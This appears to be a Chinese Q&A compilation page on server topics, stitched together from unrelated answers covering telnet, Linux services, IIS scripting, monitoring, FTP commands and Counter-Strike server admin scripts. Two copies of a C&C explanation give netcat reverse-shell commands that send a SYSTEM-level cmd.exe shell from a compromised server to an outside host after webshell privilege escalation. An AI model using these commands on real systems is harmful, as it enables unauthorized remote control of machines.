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命令與控制伺服器

發布時間:2022-09-11 02:35:16

㈠ telnet原理

TELNET介紹
Telnet協議是TCP/IP協議族中的一員,是Internet遠程登錄服務的標准協議和主要方式。它為用戶提供了在本地計算機上完成遠程主機工作的能力。在終端使用者的電腦上使用telnet程序,用它連接到伺服器。終端使用者可以在telnet程序中輸入命令,這些命令會在伺服器上運行,就像直接在伺服器的控制台上輸入一樣。可以在本地就能控制伺服器。要開始一個telnet會話,必須輸入用戶名和密碼來登錄伺服器。Telnet是常用的遠程式控制制Web伺服器的方法。

net服務雖然也屬於客戶機/伺服器模型的服務,但它更大的意義在於實現了基於Telnet協議的遠程登錄(遠程互動式計算),那麼就讓我們來認識一下遠程登錄。

定義
先來看看什麼叫登錄:分時系統允許多個用戶同時使用一台計算機,為了保證系統的安全和記賬方便,系統要求每個用戶有單獨的用戶名作為登錄標識,系統還為每個用戶指定了一個口令。用戶在使用該系統之前要輸入標識和口令,這個過程被稱為'登錄'。遠程登錄是指用戶使用Telnet命令,使自己的計算機暫時成為遠程主機的一個模擬終端的過程。模擬終端等效於一個非智能的機器,它只負責把用戶輸入的每個字元傳遞給主機,再將主機輸出的每個信息回顯在屏幕上。

工作過程
使用Telnet協議進行遠程登錄時需要滿足以下條件:在本地計算機上必須裝有包含Telnet協議的客戶程序;必須知道遠程主機的Ip地址或域名;必須知道登錄標識與口令。
Telnet遠程登錄服務分為以下4個過程:
1)本地與遠程主機建立連接。該過程實際上是建立一個TCP連接,用戶必須知道遠程主機的Ip地址或域名;
2)將本地終端上輸入的用戶名和口令及以後輸入的任何命令或字元以NVT(Net Virtual Terminal)格式傳送到遠程主機。該過程實際上是從本地主機向遠程主機發送一個IP數據包;
3)將遠程主機輸出的NVT格式的數據轉化為本地所接受的格式送回本地終端,包括輸入命令回顯和命令執行結果;
4)最後,本地終端對遠程主機進行撤消連接。該過程是撤銷一個TCP連接。
上面的內容只是討論了遠程登陸最基本的東西,其中的復雜和編程人員的艱辛是我們難以想像的,不知道你在舒服的使用Telnet的同時,是否想到了這些!

㈡ 什麼是C&C伺服器

C&C
伺服器的全稱是
Command
and
Control
Server,翻譯過來就是命令和控制伺服器
通常在做滲透測試的時候,在拿到一個
webshell
的時候,需要對伺服器進行提權操作,如果是一台
windows
的伺服器,提權的時候通常是利用本地提權漏洞的
exp
進行溢出提權,有些
exp
可以直接在後面加參數,溢出成功之後執行參數中的命令。
而有的
exp
溢出成功之後是返回一個
system
許可權的
cmd,這時就需要將低許可權的
cmd
shell
反彈回本地,這里用
nc
在本地執行:nc
-vv
-lp
3333
上述命令的意思是在本地監聽一個
3333
埠等待連接,假設電腦
IP
是公網的,並且
IP

114.114.114.114,然後在目標伺服器就可以執行:nc
114.114.114.114
3333
-e
cmd.exe
上面的命令就可以把遠程伺服器的伺服器許可權的
cmd
shell
返回到本地,這時你就可以通過
nc
建立的這個
shell
進行通信,發送你要執行的命令,在遠程伺服器接收到命令之後執行並將結果返回,這時本機電腦就是一個簡易的
C&C
伺服器。
(2)命令與控制伺服器擴展閱讀:
C&C
伺服器使目標機器可以接收來自伺服器的命令,從而達到伺服器控制目標機器的目的。該方法常用於病毒木馬控制被感染的機器。
通常只有這樣內網的伺服器才可以訪問進行連接,所以可以使用一台中轉伺服器,這台中轉伺服器有一個公網
IP
地址是:111.111.111.111,這樣不管是目標伺服器還是我們本機都可以訪問這台中轉伺服器。
這里中轉伺服器的作用就是本地內網的主機監聽的埠映射到公網
IP
的某個埠,這樣目標機訪問中轉伺服器監聽的埠就相當於訪問了我們本地監聽的埠。

㈢ 在linux系統中,哪些常用的服務需要構建

3.1Telnet

協議是TCP/IP協議族中的一員,是Internet遠程登陸服務的標准協議和主要方式。它為用戶提供了在本地計算機上完成遠程主機工作的能力。在終端使用者的電腦上使用telnet程序,用它連接到伺服器。終端使用者可以在telnet程序中輸入命令,這些命令會在伺服器上運行,就像直接在伺服器的控制台上輸入一樣。可以在本地就能控制伺服器。要開始一個telnet會話,必須輸入用戶名和密碼來登錄伺服器。Telnet是常用的遠程式控制制Web伺服器的方法。

在Linux的命令行窗口輸入「telnet 192.168.1.230」,如圖出現登錄界面,根據提示輸入用戶名和密碼即可。

3.2FTP

伺服器(File Transfer Protocol Server)是在互聯網上提供文件存儲和訪問服務的計算機,它們依照FTP協議提供服務。 FTP是File Transfer Protocol(文件傳輸協議)。顧名思義,就是專門用來傳輸文件的協議。簡單地說,支持FTP協議的伺服器就是FTP伺服器。

無論在Linux系統還是windows系統中,一般安裝後都自帶一個命令行的ftp命令程序,使用ftp可以登錄遠程的主機,並傳遞文件,這需要主機提供ftp服務和相應的許可權;我們可以從PC機的命令行窗口登錄開發板,並向開發板傳遞文件。

在Linux的命令行窗口輸入命令ftp 192.168.1.230即對方的IP地址,即可連接上指定地址的伺服器,根據提示輸入用戶名和密碼即可登錄。

3.3ssh

為Secure Shell的縮寫,由 IETF 的網路小組(Network Working Group)所制定;SSH 為建立在應用層基礎上的安全協議。SSH 是目前較可靠,專為遠程登錄會話和其他網路服務提供安全性的協議。利用 SSH 協議可以有效防止遠程管理過程中的信息泄露問題。SSH最初是UNIX系統上的一個程序,後來又迅速擴展到其他操作平台。SSH在正確使用時可彌補網路中的漏洞。SSH客戶端適用於多種平台。幾乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、DigitalUNIX、Irix,以及其他平台,都可運行SSH。

可以在PC上通過網路進入開發板上的字元終端進行操作,方法如下:

1)在開發板上連接乙太網線開機(或者連接USB Wifi),然後在串口終端上用ifconfig 命令查看一下開發板的IP地址,如果沒有連接串口終端,也可以在LCD上進入網路設置應用,設置一個IP地址,例如192.168.1.230

2)現在回到PC ,在PC Linux命令行下,假設開發板的IP地址是192.168.1.230,則輸入命令[email protected],然後輸入密碼fa即可進入開發板的字元終端

3.4 NFS伺服器

掌握NFS伺服器的安裝、配置和使用掌握NFS客戶端的配置掌握掛載和卸載共享目錄了解Windows文件共享的基本概念和Samba伺服器的功能掌握Samba伺服器的配置管理掌握Samba客戶程序的使用了解TFTP掌握TFTP伺服器的配置管理掌握TFTP客戶端程序的使用

3.5 TFTP伺服器

Ubuntu中TFTP伺服器配置:apt-get install tftp-hpa tptpd-hpa下載TFTP伺服器,sudo vim /etc/default/tftpd-hpa

內容如下:

TFTP_USERNAME=「tftp」

TFTP_DIRECTORY=」/home/linux/tftpboot」

TFTP_ADDRESS=」0.0.0.0:69」

TFTP_OPTIOS=」--secure」

sudo service tftpd-hpa stop

sudo service tftpd-hpa start

sudo service tftpd-hpa status

sudo service tftpd-hpa restart

然後可以在別的主機使用命令tftp <伺服器ip>

使用命令:get <filename> 上傳本地文件到TFTP伺服器,put<filename>下載TFTP伺服器的文件到本地

NFS是SUN開發的,用於Unix機器之間的資源共享。目前被廣泛應用於Linux系統之間的資源共享。

Samba伺服器

主要用於在Windows和Unix之間共享資源。資源包括文件、列印機等等。目前被廣泛應用於Windows與Linux之間實現資料共享。

㈣ 如何使用命令行 服務管理器管理伺服器部署

計算機上的每個系統都附帶一個用來配置和管理設置的圖形用戶界面 (GUI),如 IIS 管理器。但是,如果管理員經常管理系統或者訪問多個伺服器上的大量數據,則使用每個 GUI 會非常耗時。使用可按編程方式管理單個或多個系統的命令行腳本速度更快。
IIS 提供強大的腳本編寫和編程工具,您可以使用它們從命令行腳本或編譯的應用程序中訪問和配置設置。可使用這些工具創建、刪除、啟動、停止、暫停和列出各種站點和應用程序,並復制、導入和導出配置。
可使用命令行腳本執行下列任務:
管理網站:描述如何在本地或遠程計算機上創建、刪除、啟動、停止、暫停和列出網站。
管理 FTP 站點:描述如何在本地或遠程計算機上創建、刪除、啟動、停止、暫停和列出 FTP 站點。
管理 Web 虛擬目錄:描述如何在本地或遠程計算機上創建、刪除、啟動、停止、暫停和列出 Web 虛擬目錄。
管理 FTP 虛擬目錄:描述如何在本地或遠程計算機上創建、刪除、啟動、停止、暫停和列出 FTP 虛擬目錄。
管理 IIS 配置:描述如何備份、還原、刪除、列出、復制、導入和導出 IIS 配置。
管理應用程序和 Web 服務擴展:描述如何啟用和列出應用程序;添加和刪除應用程序依存關系;啟用、禁用和列出 Web 服務擴展;添加、刪除、啟用、禁用和列出單個文件。

㈤ linux伺服器監控的幾個方法和命令

監控會降低性能的。同問filter、simls是什麼?沒用過。
當伺服器系統性能突然低於平均應有的情況,問題可能來自在執行的進程、內存的使用率、磁碟的性能和CPU 的壓力。在預算有限的時代,理解如何優化系統性能比以往任何時候都重要。要實現它的前提是,你必須充分了解自己的伺服器,從而找到真正的瓶頸所在。本文提供一些基礎的工具來辨別和處理一些性能問題。工作過程是:首先查看整個系統的狀態(伺服器整體)後是檢查特定的子系統(內存、處理器、IO等)。

一、系統負載監測

1.使用uptime命令

2.使用cron命令進行定時監測系統負載:

二、Unix進程運行的監測

1.使用ps命令

Unix系統提供了ps等察看進程信息的系統調用,通過結合使用這些系統調用,我們可以清晰地了解進程的運行狀態以及存活情況,從而採取相應的措施,來確保Unix系統的性能。它們是目前在Unix下最常見的進程狀況查看工具,是隨 Unix版本發行的,安裝好系統之後,用戶就可以使用。 這里以ps命令為例,ps命令是最基本同時也是非常強大的進程查看命令。利用它可以確定有哪些進程正在運行及運行的狀態、進程是否結束、進程有沒有僵死、哪些進程佔用了過多的資源等。ps命令可以監控後台進程的工作情況,因為後台進程是不和屏幕鍵盤這些標准輸入/輸出設備進行通信的

2.使用進程監控工具

如果安裝了CDE環境,可以使用圖形界面進程等系統信息,使用方法是單擊「前面板」上「工具」子面板上的「查找進程」控制項。 顯示「進程管理器」主窗口。它立即對工作站進行采樣,並顯示所有當前進程的采樣。

三、內存使用情況監測

內存是Unix內核所管理的最重要的資源之一。內存管理系統是操作系統中最為重要的部分,因為系統的物理內存總是少於系統所需要的內存數量。虛擬內存就是為了克服這個矛盾而採用的策略。系統的虛擬內存通過在各個進程之間共享內存而使系統看起來有多於實際內存的內存容量。Unix支持虛擬內存, 就是使用磁碟作為RAM的擴展,使可用內存相應地有效擴大。核心把當前不用的內存塊存到硬碟,騰出內存給其他目的。當原來的內容又要使用時,再讀回內存。

㈥ 如何在DOS狀態下通過命令控制符登錄FTP伺服器

熟悉並靈活應用FTP的內部命令,可以收到事半功倍的效果。 FTP的命令行格式為:ftp-v-d-i-n-g[主機名]。其中: -v顯示遠程伺服器的所有響應信息; -n限制ftp的自動登錄,即不使用; .netrc文件; -d使用調試方式; -g取消全局文件名。 FTP使用的常見內部命令包括: account[password]:提供登錄遠程系統成功後訪問系統資源所需的補充口令。 bye:退出ftp會話過程。 cdremote-dir:進入遠程主機目錄。 cp:進入遠程主機目錄的父目錄。 close:中斷與遠程伺服器的ftp會話(與open對應)。 cr:使用asscii方式傳輸文件時,將回車換行轉換為回行。 eleteremote-file:刪除遠程主機文件。 dir[remote-dir][local-file]:顯示遠程主機目錄,並將結果存入本地文件local-file中。 getremote-file[local-file]:將遠程主機的文件remote-file傳至本地硬碟的local-file中。 help[cmd]:顯示ftp內部命令cmd的幫助信息,如:helpget。 ls[remote-dir][local-file]:顯示遠程目錄remote-dir,並存入本地文件local-file中。 mdelete[remote-file]:刪除遠程主機文件。 mgetremote-files:傳輸多個遠程文件。 mkdirdir-name:在遠程主機中建一目錄。 newerfile-name:如果遠程機中file-name的修改時間比本地硬碟同名文件的時間更近,則重傳該文件。 pwd:顯示遠程主機的當前工作目錄。 rmdirdir-name:刪除遠程主機目錄。 sizefile-name:顯示遠程主機文件大小,如:siteidle7200。 status:顯示當前ftp狀態。 system:顯示遠程主機的操作系統類型。 另外輸入「help」命令還能及時得到幫助信息,如果輸入?[cmd]就能得到關於[cmd]命令的相關幫助。

㈦ telnet命令

Telnet命令是常用的遠程登錄手段。

Telnet當成一種通信協議,但是對於入侵者而言,Telnet只是一種遠程登錄的工具。一旦用戶與遠程主機建立了Telnet連接,用戶便可以使用目標主機上的軟、硬體資源,而用戶的本地機只相當於一個只有鍵盤和顯示器的終端而已。

telnet命令的特點

telnet命令為用戶提供了在本地計算機上完成遠程主機工作的能力。在終端使用者的電腦上使用telnet程序,用它連接到伺服器。終端使用者可以在telnet程序中輸入命令,這些命令會在伺服器上運行,就像直接在伺服器的控制台上輸入一樣。可以在本地就能控制伺服器。要開始一個telnet會話,必須輸入用戶名和密碼來登錄伺服器。Telnet是常用的遠程式控制制Web伺服器的方法。

㈧ CS伺服器遠程式控制制的配置和命令!

踢人問題。常有人有人作弊,看不順眼,怎麼踢他出去?還有那些亂刷新的傢伙,怎樣揪出他,踢他出去?
首先回答踢人問題:
踢人分兩種:
一是簡單的踢他,不過他還可以再進來,這種簡單,作方法:
控制台,輸入users顯示出每個玩家的ID編號,
輸入kick #XX(編號)(編號前面加#哦),OK,解決。
為什麼要踢他的編號呢,因為有的人在名字里用了特殊符號或者太長記不住,所以踢編號是最好的方法。
二是踢他出去並封他的IP,讓他就算換了名字也進不來。作方法:
控制台,先查ID編號,再輸入banid YY #XX kick,就可以了,不過在實際中這樣做自己主機就會退出遊戲。
經過研究,發現,在區域網游戲中是不可以這樣banid的,為什麼呢?經查,所有區域網的玩家的uniqueid都是一樣的,(雖然個人的ID編號不一樣,)banid 命令是以uniqueid為識別的,所以banid別人就把自己順便給banid 出去啦。
好,踢人問題解決了,可是有人搗亂刷新,怎麼查出這個人呢?
解決方法:在他刷新或亂改了設置之後,馬上調出控制台,好,你會看到這樣的話:rcon from 192.168.29.34 ……(之後寫的是他用的遠程式控制制密碼和遠程式控制制命令),看到IP了嗎?
輸入status,可以查看各個玩家的ID和對應的IP,看出是誰了吧?警告他!不要搗亂!不爽的話用users加kick 對付他也不過分哦。
!不過在此忠告大家,殺人不過頭點地,封IP太毒了吧,踢一下也就行了,讓他再進來不搗亂就行。

㈨ 什麼是C&C伺服器

C&C 伺服器的全稱是 Command and Control Server,翻譯過來就是命令和控制伺服器

通常在做滲透測試的時候,在拿到一個 webshell 的時候,需要對伺服器進行提權操作,如果是一台 windows 的伺服器,提權的時候通常是利用本地提權漏洞的 exp 進行溢出提權,有些 exp 可以直接在後面加參數,溢出成功之後執行參數中的命令。

而有的 exp 溢出成功之後是返回一個 system 許可權的 cmd,這時就需要將低許可權的 cmd shell 反彈回本地,這里用 nc 在本地執行:nc -vv -lp 3333

上述命令的意思是在本地監聽一個 3333 埠等待連接,假設電腦 IP 是公網的,並且 IP 為 114.114.114.114,然後在目標伺服器就可以執行:nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把遠程伺服器的伺服器許可權的 cmd shell 返回到本地,這時你就可以通過 nc 建立的這個 shell 進行通信,發送你要執行的命令,在遠程伺服器接收到命令之後執行並將結果返回,這時本機電腦就是一個簡易的 C&C 伺服器。

(9)命令與控制伺服器擴展閱讀

C&C 伺服器使目標機器可以接收來自伺服器的命令,從而達到伺服器控制目標機器的目的。該方法常用於病毒木馬控制被感染的機器。

通常只有這樣內網的伺服器才可以訪問進行連接,所以可以使用一台中轉伺服器,這台中轉伺服器有一個公網 IP 地址是:111.111.111.111,這樣不管是目標伺服器還是我們本機都可以訪問這台中轉伺服器。

這里中轉伺服器的作用就是本地內網的主機監聽的埠映射到公網 IP 的某個埠,這樣目標機訪問中轉伺服器監聽的埠就相當於訪問了我們本地監聽的埠。

㈩ 求cs source控制台伺服器命令

一樓是抄來的吧?那麼全,可惜大部分是本機命令而不是伺服器控制命令,而且有很多是1.6的命令而不是CS:Source特有命令。

一、首先你要成為OP,必須先知道遠程管理密碼。
你作為玩家進入伺服器後,首先輸入:

rcon_password "********"
如果密碼正確,則取得伺服器管理員許可權,可以進行後面的操作。注意這條命令的rcon之後是一條下劃線,與下面的各條不同。

二、常用的伺服器命令如下:

mp_restartgame 1
刷新,伺服器將在一秒後刷新一次,後面的數字可以改為別的,例如改為3,則在3秒後刷新一次。

(注意,這些命令在伺服器主機上操作或用HLSW操作時可以直接使用,如果你作為玩家進入伺服器玩的時候要遠程操作,則所有命令前需要加 rcon 然後是一個空格,例如: rcon mp_restartgame 1 ,後面所有命令都是如此)

sv_password "****"
進入伺服器的密碼,注意引號是半形的(也就是在英文輸入法狀態下的引號,不能用中文輸入法下的全形引號。

sv_password " "
取消伺服器密碼,引號之間是一空格,則伺服器將不需要密碼即可進入。
特別一提,如果你是要把這條命令寫進伺服器配置文件放在伺服器上(例如你要做一個沒有密碼的混戰伺服器),則在前後引號之間不要打空格,兩引號直接相連即可)。

mp_friendlyfire 0
數字是0為關閉隊友傷害,是1則是開啟隊友傷害。

mp_autoteambalance 0
數字0為關閉自動平衡雙方隊伍人數,建議比賽時用,1則是開啟自動平衡,建議混戰時使用。

mp_startmoney 800
mp_startmoney 1500
mp_startmoney 16000
設置游戲開始的金錢數。

mp_roundtime 1.75
每局時間,單位為分鍾,1.75分鍾即1分45秒。

mp_freezetime 15
每局開局的凍結(玩家不能動)的時間,單位為秒。

mp_buytime 0.25
凍結時間後玩家可以回基地買槍的時間,單位為分鍾。

mp_c4timer 35
C4爆炸時間,單位為秒。

sv_alltalk 1
所有人之間語音通話 開啟1/關閉0,比賽時應關閉alltalk。

mp_tkpunish 0
隊友傷害懲罰 開啟1/關閉0,建議比賽時關閉。

mp_autokick 0
自動踢出不動的玩家 開啟1/關閉0,建議比賽時關閉。

mp_spawnprotectiontime 0
控制在每局開始後不能進行隊友傷害的時間,在這個時間之內傷害隊友將被踢除,單位為秒,設置為0則關閉該功能。

sv_voiceenable 1
麥克風語音通訊 開啟1/關閉0

mp_allowspectators 1
觀察員模式 開啟1/關閉0,建議混戰和友誼賽設置為1,重要比賽不讓旁觀時設置為0。

mp_limitteams 1
隊伍間人數差異上限 ( 0 = 不限制 )

mp_forcecamera 0
死亡後視角 只有本隊隊友1/死亡玩家視角停在死亡時的原地2/無限制0,混戰建議用0,比賽建議用1,有些人以為比賽用2好,其實比賽時用2反而可能使死亡玩家看到不應該看到的東西而報點。

mp_fadetoblack 0
1=死後黑屏,0=不變。

changelevel de_st2
changelevel de_nuke
changelevel de_inferno
changelevel de_train
changelevel cs_office
……
換地圖(玩家仍然會留在伺服器里)

map de_st2
map cs_italy
……
換地圖並重新讀取配置伺服器(伺服器開久了卡的話,可以用這個命令重讀伺服器,這樣就象剛開一樣不卡,但是這個命令會讓所有玩家掉出去,因此在使用前最好通知大家過一兩分種再進,否則有可能玩家因為以為伺服器掛了而離開。)

三、伺服器本身沒有r3(lo3)命令,你可以寫一個腳本,讓伺服器系統管理員放在伺服器上的cfg文件夾里。下面是我寫的腳本,你可以復制下來(把裡面我寫的個性化信息換成你自己的)存在記事本里,然後把記事本擴展名改為.cfg,例如可以叫 lo3.cfg

***********************
//
*|[ lo3.cfg ]|*
// Aliases
alias w "wait"
alias w5 "w;w;w;w;w;"
alias w10 "w5;w5;"
alias w20 "w10;w10;"
alias w50 "w10;w10;w10;w10;w10;"
alias w80 "w50;w20;w10;"
alias w100 "w50;w50;"
alias w150 "w100;w50;"
alias w300 "w100;w100;w100;"
alias w500 "w100;w100;w100;w100;w100;"
alias l1a "say 1ST RESTARTS!!!;mp_restartgame 1; w500;w500;w10;"
alias l2a "say 2ST RESTARTS!!!;mp_restartgame 2; w500;w500;w300;w150;"
alias l3a "say 3ST RESTARTS!!!;mp_restartgame 3; w500;w500;w500;w300;"
alias l4 "say [------------];w10;lo5;"
alias lo5 "say [E-----------];w10;lo6;"
alias lo6 "say [VE----------];w10;lo7;"
alias lo7 "say [IVE---------];w10;lo8;"
alias lo8 "say [LIVE--------];w10;lo9;"
alias lo9 "say [-LIVE-------];w10;lo10;"
alias lo10 "say [--LIVE------];w10;lo11;"
alias lo11 "say [---LIVE-----];w10;lo12;"
alias lo12 "say [----LIVE----];w10;lo13;"
alias lo13 "say [-----LIVE---];w10;lo14;"
alias lo14 "say [------LIVE--];w10;lo15;"
alias lo15 "say [-------LIVE-];w10;lo16;"
alias lo16 "say [--------LIVE];w10;lo17;"
alias lo17 "say [E--------LIV];w10;lo18;"
alias lo18 "say [VE--------LI];w10;lo19;"
alias lo19 "say [IVE--------L];w10;lo20;"
alias lo20 "say [LIVE--------];w10;lo21;"
alias lo21 "say [-LIVE-------];w20;lo22;"
alias lo22 "say [--LIVE------];w20;w10;lo23;"
alias lo23 "say [---LIVE-----];w20;w20;lo24;"
alias lo24 "say [----LIVE----];w50;lo25;"
alias lo25 "say [----LIVE----];w50;w20;lo26;"
alias lo26 "say [----LIVE----];w100;lo27;"
alias lo27 "say [----LIVE----];w100;"
alias sx3 "say [-------LIVE ON THREE RESTARTS!!!-------];w50;"
alias wel "say [-------Welcome to GA Server!!!-------] !;w50;"
alias stb "say [-------Match is now LIVE!!!!-------];w50;"
alias snf "say Long lIVE GA.SNF !;w50;"
alias hyd "say Long lIVE GA.HYD !;w50;"
alias gl1 "say Good Luck !;w50;"
alias hf1 "say Have Fun !!"
// Execute
wel
wel
w100
snf
snf
w100
hyd
hyd
w100
sx3
sx3
w100
l1a
l2a
l3a
l4
w100
stb
stb
w100
gl1
hf1
// GL HF
********************
lo3.cfg文件放到伺服器上後,你可以用命令
rcon exec lo3.cfg
來實現自動r3

如果你沒有辦法把這個腳本放到伺服器上,例如你和系統管理員不熟悉,或者是借用別人的伺服器,那麼你可以按以下操作:

首先把下面這段內容做成一個.cfg文件,例如叫bjr3.cfg,放進你的游戲文件目錄的cstrike文件夾下的cfg文件夾里。

*******************
//
rcon say "[-比賽將在刷新三次後開始!!!-------]";
rcon ww100;
rcon say "[---比賽將在刷新三次後開始!!!-----]";
rcon ww100;
rcon say "[-----比賽將在刷新三次後開始!!!---]";
rcon ww100;
rcon say "[-------比賽將在刷新三次後開始!!!-]";
rcon ww100;
rcon say "[-----比賽將在刷新三次後開始!!!---]";
rcon ww100;
rcon say "[---比賽將在刷新三次後開始!!!-----]";
rcon ww100;
rcon say "[-比賽將在刷新三次後開始!!!-------]";
rcon ww100;
rcon say "第一次刷新";
rcon mp_restartgame 1;
rcon ww600;
rcon say "第二次刷新";
rcon mp_restartgame 2;
rcon ww600;
rcon ww600;
rcon say "第三次刷新";
rcon mp_restartgame 3;
rcon ww600;
rcon ww600;
rcon ww100;
rcon say "[-比賽已經開始!!!-------]";
rcon ww100;
rcon say "[---比賽已經開始!!!-----]";
rcon ww100;
rcon say "[-----比賽已經開始!!!---]";
rcon ww100;
rcon say "[-------比賽已經開始!!!-]";
rcon ww100;
rcon say "[-----比賽已經開始!!!---]";
rcon ww100;
rcon say "[---比賽已經開始!!!-----]";
rcon ww100;
rcon say "[-比賽已經開始!!!-------]";
rcon ww100;
rcon say "[------Good Luck !------]";
rcon say "[------Have Fun !!------]"
rcon sv_allow_wait_command 0
**********************

然後,在比賽開始前,你必須用HLSW,按順序向伺服器發送這樣4條命令:

sv_allow_wait_command 1

alias "ww10" "wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;"

alias "ww100" "ww10;ww10;ww10;ww10;ww10;ww10;ww10;ww10;ww10;ww10;"

alias "ww500" "ww100;ww100;ww100;ww100;ww100;ww100;"

發送這4條命令後,切回遊戲界面,在控制台輸入:
exec bjr3
然後回車。

注意,這條命令前沒有"rcon "

懸賞的分太少,如果追加到200分,我願意提供有關CSS腳本和伺服器管理的高級技巧,例如如何建一個穩定流暢的高配置伺服器、如何寫伺服器配置腳本、如何優化CS:Source、如何自己編寫腳本、還可以幫你做一個超級傻瓜化伺服器管理腳本(你完全不用記任何伺服器管理命令就可以方便管理伺服器,只需要在控制台打r1(也就是打兩個字元)就刷新,打r3就開戰,打bs就自動生成全部比賽參數配置,打hz就自動進入混戰模式,打d2就自動換到st2,打8就自動把錢改為800開局,打16就是16000開局,等等……
如果有興趣就加我QQ:406111

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